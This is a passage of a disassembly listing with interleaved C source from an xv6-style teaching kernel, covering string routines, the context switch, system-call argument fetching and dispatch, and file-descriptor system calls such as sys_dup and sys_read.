8010566a: 83 6d fc 01 subl $0x1,-0x4(%ebp)
8010566e: 8b 45 fc mov -0x4(%ebp),%eax
80105671: 0f b6 10 movzbl (%eax),%edx
80105674: 8b 45 f8 mov -0x8(%ebp),%eax
80105677: 88 10 mov %dl,(%eax)
s = src;
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
while(n-- > 0)
80105679: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010567d: 0f 95 c0 setne %al
80105680: 83 6d 10 01 subl $0x1,0x10(%ebp)
80105684: 84 c0 test %al,%al
80105686: 75 de jne 80105666 <memmove+0x35>
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
80105688: eb 25 jmp 801056af <memmove+0x7e>
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
*d++ = *s++;
8010568a: 8b 45 fc mov -0x4(%ebp),%eax
8010568d: 0f b6 10 movzbl (%eax),%edx
80105690: 8b 45 f8 mov -0x8(%ebp),%eax
80105693: 88 10 mov %dl,(%eax)
80105695: 83 45 f8 01 addl $0x1,-0x8(%ebp)
80105699: 83 45 fc 01 addl $0x1,-0x4(%ebp)
8010569d: eb 01 jmp 801056a0 <memmove+0x6f>
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
8010569f: 90 nop
801056a0: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801056a4: 0f 95 c0 setne %al
801056a7: 83 6d 10 01 subl $0x1,0x10(%ebp)
801056ab: 84 c0 test %al,%al
801056ad: 75 db jne 8010568a <memmove+0x59>
*d++ = *s++;
return dst;
801056af: 8b 45 08 mov 0x8(%ebp),%eax
}
801056b2: c9 leave
801056b3: c3 ret
801056b4 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
801056b4: 55 push %ebp
801056b5: 89 e5 mov %esp,%ebp
801056b7: 83 ec 0c sub $0xc,%esp
return memmove(dst, src, n);
801056ba: 8b 45 10 mov 0x10(%ebp),%eax
801056bd: 89 44 24 08 mov %eax,0x8(%esp)
801056c1: 8b 45 0c mov 0xc(%ebp),%eax
801056c4: 89 44 24 04 mov %eax,0x4(%esp)
801056c8: 8b 45 08 mov 0x8(%ebp),%eax
801056cb: 89 04 24 mov %eax,(%esp)
801056ce: e8 5e ff ff ff call 80105631 <memmove>
}
801056d3: c9 leave
801056d4: c3 ret
801056d5 <strncmp>:
int
strncmp(const char *p, const char *q, uint n)
{
801056d5: 55 push %ebp
801056d6: 89 e5 mov %esp,%ebp
while(n > 0 && *p && *p == *q)
801056d8: eb 0c jmp 801056e6 <strncmp+0x11>
n--, p++, q++;
801056da: 83 6d 10 01 subl $0x1,0x10(%ebp)
801056de: 83 45 08 01 addl $0x1,0x8(%ebp)
801056e2: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
801056e6: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801056ea: 74 1a je 80105706 <strncmp+0x31>
801056ec: 8b 45 08 mov 0x8(%ebp),%eax
801056ef: 0f b6 00 movzbl (%eax),%eax
801056f2: 84 c0 test %al,%al
801056f4: 74 10 je 80105706 <strncmp+0x31>
801056f6: 8b 45 08 mov 0x8(%ebp),%eax
801056f9: 0f b6 10 movzbl (%eax),%edx
801056fc: 8b 45 0c mov 0xc(%ebp),%eax
801056ff: 0f b6 00 movzbl (%eax),%eax
80105702: 38 c2 cmp %al,%dl
80105704: 74 d4 je 801056da <strncmp+0x5>
n--, p++, q++;
if(n == 0)
80105706: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010570a: 75 07 jne 80105713 <strncmp+0x3e>
return 0;
8010570c: b8 00 00 00 00 mov $0x0,%eax
80105711: eb 18 jmp 8010572b <strncmp+0x56>
return (uchar)*p - (uchar)*q;
80105713: 8b 45 08 mov 0x8(%ebp),%eax
80105716: 0f b6 00 movzbl (%eax),%eax
80105719: 0f b6 d0 movzbl %al,%edx
8010571c: 8b 45 0c mov 0xc(%ebp),%eax
8010571f: 0f b6 00 movzbl (%eax),%eax
80105722: 0f b6 c0 movzbl %al,%eax
80105725: 89 d1 mov %edx,%ecx
80105727: 29 c1 sub %eax,%ecx
80105729: 89 c8 mov %ecx,%eax
}
8010572b: 5d pop %ebp
8010572c: c3 ret
8010572d <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
8010572d: 55 push %ebp
8010572e: 89 e5 mov %esp,%ebp
80105730: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
80105733: 8b 45 08 mov 0x8(%ebp),%eax
80105736: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0 && (*s++ = *t++) != 0)
80105739: 90 nop
8010573a: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010573e: 0f 9f c0 setg %al
80105741: 83 6d 10 01 subl $0x1,0x10(%ebp)
80105745: 84 c0 test %al,%al
80105747: 74 30 je 80105779 <strncpy+0x4c>
80105749: 8b 45 0c mov 0xc(%ebp),%eax
8010574c: 0f b6 10 movzbl (%eax),%edx
8010574f: 8b 45 08 mov 0x8(%ebp),%eax
80105752: 88 10 mov %dl,(%eax)
80105754: 8b 45 08 mov 0x8(%ebp),%eax
80105757: 0f b6 00 movzbl (%eax),%eax
8010575a: 84 c0 test %al,%al
8010575c: 0f 95 c0 setne %al
8010575f: 83 45 08 01 addl $0x1,0x8(%ebp)
80105763: 83 45 0c 01 addl $0x1,0xc(%ebp)
80105767: 84 c0 test %al,%al
80105769: 75 cf jne 8010573a <strncpy+0xd>
;
while(n-- > 0)
8010576b: eb 0c jmp 80105779 <strncpy+0x4c>
*s++ = 0;
8010576d: 8b 45 08 mov 0x8(%ebp),%eax
80105770: c6 00 00 movb $0x0,(%eax)
80105773: 83 45 08 01 addl $0x1,0x8(%ebp)
80105777: eb 01 jmp 8010577a <strncpy+0x4d>
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
;
while(n-- > 0)
80105779: 90 nop
8010577a: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010577e: 0f 9f c0 setg %al
80105781: 83 6d 10 01 subl $0x1,0x10(%ebp)
80105785: 84 c0 test %al,%al
80105787: 75 e4 jne 8010576d <strncpy+0x40>
*s++ = 0;
return os;
80105789: 8b 45 fc mov -0x4(%ebp),%eax
}
8010578c: c9 leave
8010578d: c3 ret
8010578e <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
8010578e: 55 push %ebp
8010578f: 89 e5 mov %esp,%ebp
80105791: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
80105794: 8b 45 08 mov 0x8(%ebp),%eax
80105797: 89 45 fc mov %eax,-0x4(%ebp)
if(n <= 0)
8010579a: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010579e: 7f 05 jg 801057a5 <safestrcpy+0x17>
return os;
801057a0: 8b 45 fc mov -0x4(%ebp),%eax
801057a3: eb 35 jmp 801057da <safestrcpy+0x4c>
while(--n > 0 && (*s++ = *t++) != 0)
801057a5: 83 6d 10 01 subl $0x1,0x10(%ebp)
801057a9: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801057ad: 7e 22 jle 801057d1 <safestrcpy+0x43>
801057af: 8b 45 0c mov 0xc(%ebp),%eax
801057b2: 0f b6 10 movzbl (%eax),%edx
801057b5: 8b 45 08 mov 0x8(%ebp),%eax
801057b8: 88 10 mov %dl,(%eax)
801057ba: 8b 45 08 mov 0x8(%ebp),%eax
801057bd: 0f b6 00 movzbl (%eax),%eax
801057c0: 84 c0 test %al,%al
801057c2: 0f 95 c0 setne %al
801057c5: 83 45 08 01 addl $0x1,0x8(%ebp)
801057c9: 83 45 0c 01 addl $0x1,0xc(%ebp)
801057cd: 84 c0 test %al,%al
801057cf: 75 d4 jne 801057a5 <safestrcpy+0x17>
;
*s = 0;
801057d1: 8b 45 08 mov 0x8(%ebp),%eax
801057d4: c6 00 00 movb $0x0,(%eax)
return os;
801057d7: 8b 45 fc mov -0x4(%ebp),%eax
}
801057da: c9 leave
801057db: c3 ret
801057dc <strlen>:
int
strlen(const char *s)
{
801057dc: 55 push %ebp
801057dd: 89 e5 mov %esp,%ebp
801057df: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
801057e2: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
801057e9: eb 04 jmp 801057ef <strlen+0x13>
801057eb: 83 45 fc 01 addl $0x1,-0x4(%ebp)
801057ef: 8b 45 fc mov -0x4(%ebp),%eax
801057f2: 03 45 08 add 0x8(%ebp),%eax
801057f5: 0f b6 00 movzbl (%eax),%eax
801057f8: 84 c0 test %al,%al
801057fa: 75 ef jne 801057eb <strlen+0xf>
;
return n;
801057fc: 8b 45 fc mov -0x4(%ebp),%eax
}
801057ff: c9 leave
80105800: c3 ret
80105801: 00 00 add %al,(%eax)
...
80105804 <swtch>:
# Save current register context in old
# and then load register context from new.
.globl swtch
swtch:
movl 4(%esp), %eax
80105804: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
80105808: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-save registers
pushl %ebp
8010580c: 55 push %ebp
pushl %ebx
8010580d: 53 push %ebx
pushl %esi
8010580e: 56 push %esi
pushl %edi
8010580f: 57 push %edi
# Switch stacks
movl %esp, (%eax)
80105810: 89 20 mov %esp,(%eax)
movl %edx, %esp
80105812: 89 d4 mov %edx,%esp
# Load new callee-save registers
popl %edi
80105814: 5f pop %edi
popl %esi
80105815: 5e pop %esi
popl %ebx
80105816: 5b pop %ebx
popl %ebp
80105817: 5d pop %ebp
ret
80105818: c3 ret
80105819: 00 00 add %al,(%eax)
...
8010581c <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
8010581c: 55 push %ebp
8010581d: 89 e5 mov %esp,%ebp
if(addr >= proc->sz || addr+4 > proc->sz)
8010581f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105825: 8b 00 mov (%eax),%eax
80105827: 3b 45 08 cmp 0x8(%ebp),%eax
8010582a: 76 12 jbe 8010583e <fetchint+0x22>
8010582c: 8b 45 08 mov 0x8(%ebp),%eax
8010582f: 8d 50 04 lea 0x4(%eax),%edx
80105832: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105838: 8b 00 mov (%eax),%eax
8010583a: 39 c2 cmp %eax,%edx
8010583c: 76 07 jbe 80105845 <fetchint+0x29>
return -1;
8010583e: b8 ff ff ff ff mov $0xffffffff,%eax
80105843: eb 0f jmp 80105854 <fetchint+0x38>
*ip = *(int*)(addr);
80105845: 8b 45 08 mov 0x8(%ebp),%eax
80105848: 8b 10 mov (%eax),%edx
8010584a: 8b 45 0c mov 0xc(%ebp),%eax
8010584d: 89 10 mov %edx,(%eax)
return 0;
8010584f: b8 00 00 00 00 mov $0x0,%eax
}
80105854: 5d pop %ebp
80105855: c3 ret
80105856 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
80105856: 55 push %ebp
80105857: 89 e5 mov %esp,%ebp
80105859: 83 ec 10 sub $0x10,%esp
char *s, *ep;
if(addr >= proc->sz)
8010585c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105862: 8b 00 mov (%eax),%eax
80105864: 3b 45 08 cmp 0x8(%ebp),%eax
80105867: 77 07 ja 80105870 <fetchstr+0x1a>
return -1;
80105869: b8 ff ff ff ff mov $0xffffffff,%eax
8010586e: eb 48 jmp 801058b8 <fetchstr+0x62>
*pp = (char*)addr;
80105870: 8b 55 08 mov 0x8(%ebp),%edx
80105873: 8b 45 0c mov 0xc(%ebp),%eax
80105876: 89 10 mov %edx,(%eax)
ep = (char*)proc->sz;
80105878: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010587e: 8b 00 mov (%eax),%eax
80105880: 89 45 f8 mov %eax,-0x8(%ebp)
for(s = *pp; s < ep; s++)
80105883: 8b 45 0c mov 0xc(%ebp),%eax
80105886: 8b 00 mov (%eax),%eax
80105888: 89 45 fc mov %eax,-0x4(%ebp)
8010588b: eb 1e jmp 801058ab <fetchstr+0x55>
if(*s == 0)
8010588d: 8b 45 fc mov -0x4(%ebp),%eax
80105890: 0f b6 00 movzbl (%eax),%eax
80105893: 84 c0 test %al,%al
80105895: 75 10 jne 801058a7 <fetchstr+0x51>
return s - *pp;
80105897: 8b 55 fc mov -0x4(%ebp),%edx
8010589a: 8b 45 0c mov 0xc(%ebp),%eax
8010589d: 8b 00 mov (%eax),%eax
8010589f: 89 d1 mov %edx,%ecx
801058a1: 29 c1 sub %eax,%ecx
801058a3: 89 c8 mov %ecx,%eax
801058a5: eb 11 jmp 801058b8 <fetchstr+0x62>
if(addr >= proc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
801058a7: 83 45 fc 01 addl $0x1,-0x4(%ebp)
801058ab: 8b 45 fc mov -0x4(%ebp),%eax
801058ae: 3b 45 f8 cmp -0x8(%ebp),%eax
801058b1: 72 da jb 8010588d <fetchstr+0x37>
if(*s == 0)
return s - *pp;
return -1;
801058b3: b8 ff ff ff ff mov $0xffffffff,%eax
}
801058b8: c9 leave
801058b9: c3 ret
801058ba <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
801058ba: 55 push %ebp
801058bb: 89 e5 mov %esp,%ebp
801058bd: 83 ec 08 sub $0x8,%esp
return fetchint(proc->tf->esp + 4 + 4*n, ip);
801058c0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801058c6: 8b 40 18 mov 0x18(%eax),%eax
801058c9: 8b 50 44 mov 0x44(%eax),%edx
801058cc: 8b 45 08 mov 0x8(%ebp),%eax
801058cf: c1 e0 02 shl $0x2,%eax
801058d2: 01 d0 add %edx,%eax
801058d4: 8d 50 04 lea 0x4(%eax),%edx
801058d7: 8b 45 0c mov 0xc(%ebp),%eax
801058da: 89 44 24 04 mov %eax,0x4(%esp)
801058de: 89 14 24 mov %edx,(%esp)
801058e1: e8 36 ff ff ff call 8010581c <fetchint>
}
801058e6: c9 leave
801058e7: c3 ret
801058e8 <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size n bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
801058e8: 55 push %ebp
801058e9: 89 e5 mov %esp,%ebp
801058eb: 83 ec 18 sub $0x18,%esp
int i;
if(argint(n, &i) < 0)
801058ee: 8d 45 fc lea -0x4(%ebp),%eax
801058f1: 89 44 24 04 mov %eax,0x4(%esp)
801058f5: 8b 45 08 mov 0x8(%ebp),%eax
801058f8: 89 04 24 mov %eax,(%esp)
801058fb: e8 ba ff ff ff call 801058ba <argint>
80105900: 85 c0 test %eax,%eax
80105902: 79 07 jns 8010590b <argptr+0x23>
return -1;
80105904: b8 ff ff ff ff mov $0xffffffff,%eax
80105909: eb 3d jmp 80105948 <argptr+0x60>
if((uint)i >= proc->sz || (uint)i+size > proc->sz)
8010590b: 8b 45 fc mov -0x4(%ebp),%eax
8010590e: 89 c2 mov %eax,%edx
80105910: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105916: 8b 00 mov (%eax),%eax
80105918: 39 c2 cmp %eax,%edx
8010591a: 73 16 jae 80105932 <argptr+0x4a>
8010591c: 8b 45 fc mov -0x4(%ebp),%eax
8010591f: 89 c2 mov %eax,%edx
80105921: 8b 45 10 mov 0x10(%ebp),%eax
80105924: 01 c2 add %eax,%edx
80105926: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010592c: 8b 00 mov (%eax),%eax
8010592e: 39 c2 cmp %eax,%edx
80105930: 76 07 jbe 80105939 <argptr+0x51>
return -1;
80105932: b8 ff ff ff ff mov $0xffffffff,%eax
80105937: eb 0f jmp 80105948 <argptr+0x60>
*pp = (char*)i;
80105939: 8b 45 fc mov -0x4(%ebp),%eax
8010593c: 89 c2 mov %eax,%edx
8010593e: 8b 45 0c mov 0xc(%ebp),%eax
80105941: 89 10 mov %edx,(%eax)
return 0;
80105943: b8 00 00 00 00 mov $0x0,%eax
}
80105948: c9 leave
80105949: c3 ret
8010594a <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
8010594a: 55 push %ebp
8010594b: 89 e5 mov %esp,%ebp
8010594d: 83 ec 18 sub $0x18,%esp
int addr;
if(argint(n, &addr) < 0)
80105950: 8d 45 fc lea -0x4(%ebp),%eax
80105953: 89 44 24 04 mov %eax,0x4(%esp)
80105957: 8b 45 08 mov 0x8(%ebp),%eax
8010595a: 89 04 24 mov %eax,(%esp)
8010595d: e8 58 ff ff ff call 801058ba <argint>
80105962: 85 c0 test %eax,%eax
80105964: 79 07 jns 8010596d <argstr+0x23>
return -1;
80105966: b8 ff ff ff ff mov $0xffffffff,%eax
8010596b: eb 12 jmp 8010597f <argstr+0x35>
return fetchstr(addr, pp);
8010596d: 8b 45 fc mov -0x4(%ebp),%eax
80105970: 8b 55 0c mov 0xc(%ebp),%edx
80105973: 89 54 24 04 mov %edx,0x4(%esp)
80105977: 89 04 24 mov %eax,(%esp)
8010597a: e8 d7 fe ff ff call 80105856 <fetchstr>
}
8010597f: c9 leave
80105980: c3 ret
80105981 <syscall>:
[SYS_texit] sys_texit,
};
void
syscall(void)
{
80105981: 55 push %ebp
80105982: 89 e5 mov %esp,%ebp
80105984: 53 push %ebx
80105985: 83 ec 24 sub $0x24,%esp
int num;
num = proc->tf->eax;
80105988: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010598e: 8b 40 18 mov 0x18(%eax),%eax
80105991: 8b 40 1c mov 0x1c(%eax),%eax
80105994: 89 45 f4 mov %eax,-0xc(%ebp)
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80105997: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010599b: 7e 30 jle 801059cd <syscall+0x4c>
8010599d: 8b 45 f4 mov -0xc(%ebp),%eax
801059a0: 83 f8 1b cmp $0x1b,%eax
801059a3: 77 28 ja 801059cd <syscall+0x4c>
801059a5: 8b 45 f4 mov -0xc(%ebp),%eax
801059a8: 8b 04 85 40 c0 10 80 mov -0x7fef3fc0(,%eax,4),%eax
801059af: 85 c0 test %eax,%eax
801059b1: 74 1a je 801059cd <syscall+0x4c>
proc->tf->eax = syscalls[num]();
801059b3: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801059b9: 8b 58 18 mov 0x18(%eax),%ebx
801059bc: 8b 45 f4 mov -0xc(%ebp),%eax
801059bf: 8b 04 85 40 c0 10 80 mov -0x7fef3fc0(,%eax,4),%eax
801059c6: ff d0 call *%eax
801059c8: 89 43 1c mov %eax,0x1c(%ebx)
801059cb: eb 3d jmp 80105a0a <syscall+0x89>
} else {
cprintf("%d %s: unknown sys call %d\n",
proc->pid, proc->name, num);
801059cd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801059d3: 8d 48 6c lea 0x6c(%eax),%ecx
801059d6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
num = proc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
proc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
801059dc: 8b 40 10 mov 0x10(%eax),%eax
801059df: 8b 55 f4 mov -0xc(%ebp),%edx
801059e2: 89 54 24 0c mov %edx,0xc(%esp)
801059e6: 89 4c 24 08 mov %ecx,0x8(%esp)
801059ea: 89 44 24 04 mov %eax,0x4(%esp)
801059ee: c7 04 24 3b 8e 10 80 movl $0x80108e3b,(%esp)
801059f5: e8 a7 a9 ff ff call 801003a1 <cprintf>
proc->pid, proc->name, num);
proc->tf->eax = -1;
801059fa: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105a00: 8b 40 18 mov 0x18(%eax),%eax
80105a03: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
}
80105a0a: 83 c4 24 add $0x24,%esp
80105a0d: 5b pop %ebx
80105a0e: 5d pop %ebp
80105a0f: c3 ret
80105a10 <argfd>:
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
{
80105a10: 55 push %ebp
80105a11: 89 e5 mov %esp,%ebp
80105a13: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argint(n, &fd) < 0)
80105a16: 8d 45 f0 lea -0x10(%ebp),%eax
80105a19: 89 44 24 04 mov %eax,0x4(%esp)
80105a1d: 8b 45 08 mov 0x8(%ebp),%eax
80105a20: 89 04 24 mov %eax,(%esp)
80105a23: e8 92 fe ff ff call 801058ba <argint>
80105a28: 85 c0 test %eax,%eax
80105a2a: 79 07 jns 80105a33 <argfd+0x23>
return -1;
80105a2c: b8 ff ff ff ff mov $0xffffffff,%eax
80105a31: eb 50 jmp 80105a83 <argfd+0x73>
if(fd < 0 || fd >= NOFILE || (f=proc->ofile[fd]) == 0)
80105a33: 8b 45 f0 mov -0x10(%ebp),%eax
80105a36: 85 c0 test %eax,%eax
80105a38: 78 21 js 80105a5b <argfd+0x4b>
80105a3a: 8b 45 f0 mov -0x10(%ebp),%eax
80105a3d: 83 f8 0f cmp $0xf,%eax
80105a40: 7f 19 jg 80105a5b <argfd+0x4b>
80105a42: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105a48: 8b 55 f0 mov -0x10(%ebp),%edx
80105a4b: 83 c2 08 add $0x8,%edx
80105a4e: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80105a52: 89 45 f4 mov %eax,-0xc(%ebp)
80105a55: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105a59: 75 07 jne 80105a62 <argfd+0x52>
return -1;
80105a5b: b8 ff ff ff ff mov $0xffffffff,%eax
80105a60: eb 21 jmp 80105a83 <argfd+0x73>
if(pfd)
80105a62: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80105a66: 74 08 je 80105a70 <argfd+0x60>
*pfd = fd;
80105a68: 8b 55 f0 mov -0x10(%ebp),%edx
80105a6b: 8b 45 0c mov 0xc(%ebp),%eax
80105a6e: 89 10 mov %edx,(%eax)
if(pf)
80105a70: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80105a74: 74 08 je 80105a7e <argfd+0x6e>
*pf = f;
80105a76: 8b 45 10 mov 0x10(%ebp),%eax
80105a79: 8b 55 f4 mov -0xc(%ebp),%edx
80105a7c: 89 10 mov %edx,(%eax)
return 0;
80105a7e: b8 00 00 00 00 mov $0x0,%eax
}
80105a83: c9 leave
80105a84: c3 ret
80105a85 <fdalloc>:
// Allocate a file descriptor for the given file.
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
80105a85: 55 push %ebp
80105a86: 89 e5 mov %esp,%ebp
80105a88: 83 ec 10 sub $0x10,%esp
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105a8b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
80105a92: eb 30 jmp 80105ac4 <fdalloc+0x3f>
if(proc->ofile[fd] == 0){
80105a94: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105a9a: 8b 55 fc mov -0x4(%ebp),%edx
80105a9d: 83 c2 08 add $0x8,%edx
80105aa0: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80105aa4: 85 c0 test %eax,%eax
80105aa6: 75 18 jne 80105ac0 <fdalloc+0x3b>
proc->ofile[fd] = f;
80105aa8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105aae: 8b 55 fc mov -0x4(%ebp),%edx
80105ab1: 8d 4a 08 lea 0x8(%edx),%ecx
80105ab4: 8b 55 08 mov 0x8(%ebp),%edx
80105ab7: 89 54 88 08 mov %edx,0x8(%eax,%ecx,4)
return fd;
80105abb: 8b 45 fc mov -0x4(%ebp),%eax
80105abe: eb 0f jmp 80105acf <fdalloc+0x4a>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105ac0: 83 45 fc 01 addl $0x1,-0x4(%ebp)
80105ac4: 83 7d fc 0f cmpl $0xf,-0x4(%ebp)
80105ac8: 7e ca jle 80105a94 <fdalloc+0xf>
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
return fd;
}
}
return -1;
80105aca: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105acf: c9 leave
80105ad0: c3 ret
80105ad1 <sys_dup>:
int
sys_dup(void)
{
80105ad1: 55 push %ebp
80105ad2: 89 e5 mov %esp,%ebp
80105ad4: 83 ec 28 sub $0x28,%esp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80105ad7: 8d 45 f0 lea -0x10(%ebp),%eax
80105ada: 89 44 24 08 mov %eax,0x8(%esp)
80105ade: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105ae5: 00
80105ae6: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105aed: e8 1e ff ff ff call 80105a10 <argfd>
80105af2: 85 c0 test %eax,%eax
80105af4: 79 07 jns 80105afd <sys_dup+0x2c>
return -1;
80105af6: b8 ff ff ff ff mov $0xffffffff,%eax
80105afb: eb 29 jmp 80105b26 <sys_dup+0x55>
if((fd=fdalloc(f)) < 0)
80105afd: 8b 45 f0 mov -0x10(%ebp),%eax
80105b00: 89 04 24 mov %eax,(%esp)
80105b03: e8 7d ff ff ff call 80105a85 <fdalloc>
80105b08: 89 45 f4 mov %eax,-0xc(%ebp)
80105b0b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105b0f: 79 07 jns 80105b18 <sys_dup+0x47>
return -1;
80105b11: b8 ff ff ff ff mov $0xffffffff,%eax
80105b16: eb 0e jmp 80105b26 <sys_dup+0x55>
filedup(f);
80105b18: 8b 45 f0 mov -0x10(%ebp),%eax
80105b1b: 89 04 24 mov %eax,(%esp)
80105b1e: e8 65 b4 ff ff call 80100f88 <filedup>
return fd;
80105b23: 8b 45 f4 mov -0xc(%ebp),%eax
}
80105b26: c9 leave
80105b27: c3 ret
80105b28 <sys_read>:
int
sys_read(void)
{
80105b28: 55 push %ebp
80105b29: 89 e5 mov %esp,%ebp
80105b2b: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80105b2e: 8d 45 f4 lea -0xc(%ebp),%eax
80105b31: 89 44 24 08 mov %eax,0x8(%esp)
80105b35: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105b3c: 00
80105b3d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105b44: e8 c7 fe ff ff call 80105a10 <argfd>
80105b49: 85 c0 test %eax,%eax
80105b4b: 78 35 js 80105b82 <sys_read+0x5a>
80105b4d: 8d 45 f0 lea -0x10(%ebp),%eax
80105b50: 89 44 24 04 mov %eax,0x4(%esp)
80105b54: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80105b5b: e8 5a fd ff ff call 801058ba <argint>
80105b60: 85 c0 test %eax,%eax
80105b62: 78 1e js 80105b82 <sys_read+0x5a>
80105b64: 8b 45 f0 mov -0x10(%ebp),%eax
80105b67: 89 44 24 08 mov %eax,0x8(%esp)
80105b6b: 8d 45 ec lea -0x14(%ebp),%eax
80105b6e: 89 44 24 04 mov %eax,0x4(%esp)
80105b72: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105b79: e8 6a fd ff ff call 801058e8 <argptr>
80105b7e: 85 c0 test %eax,%eax
80105b80: 79 07 jns 80105b89 <sys_read+0x61>
return -1;
80105b82: b8 ff ff ff ff mov $0xffffffff,%eax
80105b87: eb 19 jmp 80105ba2 <sys_read+0x7a>
return fileread(f, p, n);
80105b89: 8b 4d f0 mov -0x10(%ebp),%ecx
80105b8c: 8b 55 ec mov -0x14(%ebp),%edx
80105b8f: 8b 45 f4 mov -0xc(%ebp),%eax
80105b92: 89 4c 24 08 mov %ecx,0x8(%esp)
80105b96: 89 54 24 04 mov %edx,0x4(%esp)
80105b9a: 89 04 24 mov %eax,(%esp)
80105b9d: e8 53 b5 ff ff call 801010f5 <fileread>
}
80105ba2: c9 leave
80105ba3: c3 ret
80105ba4 <sys_write>:
int
sys_write(void)
{
80105ba4: 55 push %ebp
80105ba5: 89 e5 mov %esp,%ebp
80105ba7: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80105baa: 8d 45 f4 lea -0xc(%ebp),%eax
80105bad: 89 44 24 08 mov %eax,0x8(%esp)
80105bb1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105bb8: 00
80105bb9: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105bc0: e8 4b fe ff ff call 80105a10 <argfd>
80105bc5: 85 c0 test %eax,%eax
80105bc7: 78 35 js 80105bfe <sys_write+0x5a>
80105bc9: 8d 45 f0 lea -0x10(%ebp),%eax
80105bcc: 89 44 24 04 mov %eax,0x4(%esp)
80105bd0: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80105bd7: e8 de fc ff ff call 801058ba <argint>
80105bdc: 85 c0 test %eax,%eax
80105bde: 78 1e js 80105bfe <sys_write+0x5a>
80105be0: 8b 45 f0 mov -0x10(%ebp),%eax
80105be3: 89 44 24 08 mov %eax,0x8(%esp)
80105be7: 8d 45 ec lea -0x14(%ebp),%eax
